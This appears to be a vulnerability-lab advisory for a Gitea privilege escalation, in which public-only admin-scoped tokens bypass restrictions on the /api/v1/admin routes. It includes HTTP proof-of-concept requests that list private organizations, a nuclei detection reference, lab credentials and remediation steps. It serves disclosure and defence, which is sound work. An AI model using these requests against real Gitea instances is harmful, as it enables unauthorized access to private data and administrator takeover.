VT-2026-117635

Gitea <= 28.2.0 - Public-only Token Scope Bypass on Admin API (privilege escalation)

HIGH 8.1CVEcvecve-2026giteaaccess-control

Run this lab

$vt start --id vt-2026-117635

Lab not starting or behaving wrong? Report a problem with this lab

Summary

Gitea through 28.2.0 fails to enforce the "public-only" access-token restriction on the /api/v1/admin route group. A token created with the public-only flag plus the write:admin scope is correctly refused on normal routes (for example GET /api/v1/orgs/{private-org} returns "token scope is limited to public orgs"), but the admin route group attaches neither checkTokenPublicOnly() nor rejectPublicOnly(), and admin.GetAllOrgs returns Public, Limited and Private orgs unconditionally. A holder of such a site-admin-issued public-only token can list all users and their emails, read private organizations, create private orgs, mint Actions runner registration tokens, and create or promote a new site administrator account that persists after the original token is revoked. This is the same defect previously fixed for /api/v1/user (CVE-2026-24791) and for org/team routes (CVE-2026-58429), now reaching the admin API.

Technical detail

Gitea records the public-only flag of an access token on the request context in tokenRequiresScopes() (routers/api/v1/api.go), which sets ctx.PublicOnly. Two middlewares enforce it per route group: checkTokenPublicOnly() narrows the result to the public subset of the scope category (it has no Admin case), and rejectPublicOnly() refuses the request outright. Through v28.2.0 the admin route group (routers/api/v1/api.go) was declared with tokenRequiresScopes(AccessTokenScopeCategoryAdmin), reqToken() and reqSiteAdmin() but neither public-only middleware, so a public-only token passed straight through. At the handler level admin.GetAllOrgs (routers/api/v1/admin/org.go) hard-codes Visible: {VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate}, so the admin listing exposes private organizations regardless of the token restriction. The token must be issued from a site-admin account; non-admin tokens with write:admin still get 403 from reqSiteAdmin(). The fix (v28.3.0, PR #39690 / backport #39853) carries the API token on the doer and adds rejectPublicOnly() to the admin group, after which public-only tokens receive 403/404 on admin routes.

Impact

An attacker holding a site-admin-issued public-only token - a token explicitly meant to be limited to public resources, and therefore more likely to be shared, embedded in CI variables, or logged - gains full administrative reach over the instance. They can enumerate every user account and email address, read and create private organizations, mint Actions runner registration tokens, and create or promote a new site-administrator account. Because the created admin account is independent of the token, it survives rotation or revocation of the token, giving durable persistence.

Exploitation & proof of concept

Public-only token reaches private orgs via /api/v1/admin/orgs

The public-only restriction is enforced on /api/v1/orgs/{org} (403) but not on the admin route group, so the same token lists all organizations including private ones through /api/v1/admin/orgs.

GET/api/v1/admin/orgs

REQUEST
GET /api/v1/admin/orgs?limit=50 HTTP/1.1
Host: {{Hostname}}
Authorization: token PUBLIC_ONLY_WRITE_ADMIN_TOKEN
Accept: application/json
RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json

[{"id":2,"name":"secretorg","full_name":"","visibility":"private"}]

Control: public-only token refused on normal org route

On a normal route the public-only restriction is correctly enforced, returning 403 with the scope-limited message. This confirms the token is genuinely public-only and isolates the admin-route bypass.

GET/api/v1/orgs/secretorg

REQUEST
GET /api/v1/orgs/secretorg HTTP/1.1
Host: {{Hostname}}
Authorization: token PUBLIC_ONLY_WRITE_ADMIN_TOKEN
Accept: application/json
RESPONSE
HTTP/1.1 403 Forbidden
Content-Type: application/json

{"message":"token scope is limited to public orgs"}

Nuclei detection: vt-2026-117635.nuclei.yaml

Remediation

  • Upgrade to Gitea 28.3.0 or later
  • Audit site-administrator accounts and remove any that are unrecognized
  • Review registered Actions runners and revoke unknown registration tokens
  • Rotate public-only tokens issued from site-admin accounts, especially any exposed in CI variables or build logs

Lab setup notes

  • Gitea is available at http://localhost:3000 (admin account: vtadmin / VtAdmin123!)
  • The seed step (embedded in docker-compose.yaml) provisions a private org 'secretorg' and mints a public-only write:admin token
  • Read the generated token and proof: docker compose logs seed (or: docker compose run --rm proof-reader)
  • Run the template: nuclei -t vt-2026-117635.nuclei.yaml -u http://localhost:3000 -var token=<TOKEN> -var org=secretorg
  • NOTE: the nuclei template is AUTHENTICATED - it requires -var token=<public-only write:admin token> and -var org=<private-org>. It does NOT match on an unauthenticated scan, by design, because the vulnerability requires a site-admin-issued public-only token.

References